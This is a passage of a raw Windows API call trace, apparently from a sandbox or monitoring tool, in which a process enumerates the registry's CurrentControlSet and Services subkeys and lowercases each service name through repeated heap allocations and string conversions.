RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.924] RegOpenKeyExW (in: hKey=0x140, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0177.924] RegCloseKey (hKey=0x140) returned 0x0 [0177.924] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0177.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0177.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.925] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0177.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0177.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0177.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.925] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0177.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0177.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0177.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.925] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0177.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0177.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.925] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0177.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0177.926] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.926] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.926] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.926] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.926] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x140) returned 0x0 [0177.926] RegCloseKey (hKey=0x150) returned 0x0 [0177.926] RegEnumKeyW (in: hKey=0x140, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0177.926] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.926] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1d18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0177.926] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.926] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.926] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.926] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.926] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0177.926] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0177.926] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1a00, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0177.926] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.926] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.926] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.926] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.926] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0177.926] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0177.926] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1d18, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0177.926] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.927] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.927] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.927] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.927] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0177.927] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0177.927] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1a00, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0177.927] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.927] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.927] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.927] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.927] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0177.927] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0177.927] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1d18, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0177.927] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.927] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.927] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.927] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.927] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0177.927] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0177.927] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1a00, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0177.927] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.927] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.927] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.927] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.927] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0177.927] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.928] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1d18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0177.928] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.928] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0177.928] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.928] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0177.928] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.928] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0177.928] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0177.928] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0177.928] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.928] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0177.928] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.928] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0177.928] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.929] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0177.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0177.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1d18, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0177.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.929] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0177.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0177.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.929] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0177.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0177.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.929] RegEnumKeyW (in: hKey=0x140, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0177.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.930] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0177.930] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.930] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.930] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.930] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.930] RegEnumKeyW (in: hKey=0x140, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0177.930] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0177.930] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0177.930] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.930] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.930] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.930] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.930] RegEnumKeyW (in: hKey=0x140, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0177.930] RtlAllocateHeap 